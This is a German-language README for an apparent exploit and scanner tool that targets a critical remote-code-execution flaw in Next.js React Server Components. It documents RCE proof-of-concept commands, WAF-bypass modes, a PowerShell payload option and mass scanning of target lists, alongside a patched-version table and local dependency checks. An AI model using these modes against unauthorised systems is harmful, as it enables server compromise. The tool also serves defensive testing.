
Multi-Mode-Schwachstellenscanner für Next.js RCE (CVE-2025-66478/55182) mit sicherer Seitenkanalerkennung, RCE Proof-of-Concept, WAF-Bypass-Techniken und lokalem Scannen von Projektabhängigkeiten.
Der umfassendste Scanner für die Next.js RSC Schwachstelle zur Remotecodeausführung
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (auch bekannt als CVE-2025-55182) ist eine KRITISCHE (CVSS 10.0) Schwachstelle zur Remotecodeausführung, die Next.js-Anwendungen betrifft, die React Server Components (RSC) verwenden.
Dieses Tool kombiniert die besten Funktionen mehrerer CVE-2025-66478-Scanner:
# Repository klonen
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Abhängigkeiten installieren
pip install -r requirements.txt
# Oder manuell installieren
pip install requests tqdm
# Nur Versionserkennung (am schnellsten, keine Ausnutzung)
python3 react2shell-ultimate.py -u https://target.com --version
# Sichere Seitenkanalerkennung (keine Codeausführung)
python3 react2shell-ultimate.py -u https://target.com --safe
# RCE Proof-of-Concept (führt harmlose Berechnung aus: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Umfassender Scan mit allen Bypass-Versuchen
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Mehrere Ziele aus Datei scannen
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Ruhiger Modus – nur verwundbare Hosts anzeigen
python3 react2shell-ultimate.py -l targets.txt -q
# JSON-Ausgabe auf stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Aktuelles Verzeichnis scannen
python3 react2shell-ultimate.py --local .
# Spezifischen Projektpfad scannen
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Junk-Data-Bypass (fügt 128 KB Padding hinzu, um Inhaltsprüfung zu umgehen)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Benutzerdefinierte Junk-Data-Größe
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Unicode-Kodierungs-Bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Vercel-spezifischer WAF-Bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Windows-Ziel (PowerShell-Payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# Mit Proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Benutzerdefinierte Header
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Erhöhter Timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Ausführliche Ausgabe
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
--safe)Löst ein bestimmtes Fehlerantwortmuster aus, ohne Code auszuführen. Identifiziert verwundbare RSC-Implementierungen durch das Verhalten der Fehlerbehandlung.
--rce)Führt eine harmlose mathematische Berechnung aus (echo $((41*271)) = 11111), um die RCE-Fähigkeit zu bestätigen. Das Ergebnis erscheint im X-Action-Redirect-Header.
--version)X-Powered-By-Header auf Next.js-VersionVary-Header auf RSC-Indikatorentext/x-component-Antworten--local)Durchsucht Projektverzeichnisse nach:
package.json – Direkte Abhängigkeitsdeklarationpackage-lock.json – NPM-Sperrdateiyarn.lock – Yarn-Sperrdateipnpm-lock.yaml – PNPM-Sperrdateibun.lockb – Bun-Sperrdatei[VERWUNDBAR] https://target.com
Version: 15.3.1 | Status: 200 | Methode: rce_poc
WAF-Bypass: ERFOLG
[NICHT VERWUNDBAR] https://safe-target.com
Version: 15.5.7 | Status: 200 | Methode: http_headers
[WAF BLOCKIERT] https://protected.com
Version: 15.2.0 | Status: 403 | Methode: rce_poc
WAF erkannt: Exploit blockiert
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://target.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
Wenn Sie verwundbare Anwendungen finden:
Sofortige Aktualisierung auf gepatchte Versionen:
Temporäre Abschwächungen:
Überwachen Sie die Logs auf Ausnutzungsversuche
Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken.
MIT-Lizenz – Siehe LIZENZ-Datei für Details.
⭐ Gib diesem Repository einen Stern, wenn du es nützlich findest! ⭐
| Versionsbereich | Status |
|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ Verwundbar |
| Next.js 15.1.0 - 15.1.8 | ⚠️ Verwundbar |
| Next.js 15.2.0 - 15.2.5 | ⚠️ Verwundbar |
| Next.js 15.3.0 - 15.3.5 | ⚠️ Verwundbar |
| Next.js 15.4.0 - 15.4.7 | ⚠️ Verwundbar |
| Next.js 15.5.0 - 15.5.6 | ⚠️ Verwundbar |
| Next.js 16.0.0 - 16.0.6 | ⚠️ Verwundbar |
| Next.js 14.3.0-canary.77+ | ⚠️ Verwundbar |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ Gepatcht |
| Next.js 16.0.7+ | ✅ Gepatcht |
| Next.js 13.x, 14.x stable | ✅ Nicht betroffen |
| Feature | Beschreibung |
|---|
| 🔍 Multi-Modus-Erkennung | Sicherer Seitenkanal, RCE PoC, nur Version, lokales Scannen |
| 🛡️ WAF-Bypass-Techniken | Junk-Data-Padding, Unicode-Kodierung, Vercel-spezifischer Bypass |
| 📁 Lokales Projekt-Scannen | Durchsucht package.json, Lockfiles nach verwundbaren Abhängigkeiten |
| ⚡ Hohe Leistung | Multithread-Scannen mit konfigurierbarer Parallelität |
| 📊 Mehrere Ausgabeformate | Konsole, JSON, Dateiexport |
| 🎯 Präzise Versionserkennung | HTTP-Header, RSC-Fingerprinting, Kenntnis gepatchter Versionen |
| Option | Beschreibung |
|---|
-u, --url | Einzelne URL zum Scannen |
-l, --list | Datei mit URLs (eine pro Zeile) |
--local | Lokales Projektverzeichnis scannen |
--safe | Sichere Seitenkanalerkennung (kein RCE) |
--rce | RCE Proof-of-Concept-Modus |
--version | Nur Versionserkennung |
--comprehensive | Vollständiger Scan mit allen Techniken |
--waf-bypass | Junk-Data für WAF-Bypass hinzufügen |
--waf-bypass-size | Junk-Data-Größe in KB (Standard: 128) |
--unicode | Unicode-Kodierung für WAF-Bypass |
--vercel-bypass | Vercel-spezifischer WAF-Bypass |
--windows | Windows PowerShell-Payload verwenden |
-t, --threads | Gleichzeitige Threads (Standard: 10) |
--timeout | Request-Timeout in Sekunden (Standard: 10) |
-k, --insecure | SSL-Verifizierung deaktivieren |
--proxy | Proxy-URL (http://host:port) |
-H, --header | Benutzerdefinierter Header (wiederholbar) |
-o, --output | Ausgabedatei (JSON) |
--all-results | Alle Ergebnisse speichern, nicht nur verwundbare |
-v, --verbose | Ausführliche Ausgabe |
-q, --quiet | Nur verwundbare Hosts anzeigen |
--json | JSON-Ausgabe auf stdout |
--no-color | Farbige Ausgabe deaktivieren |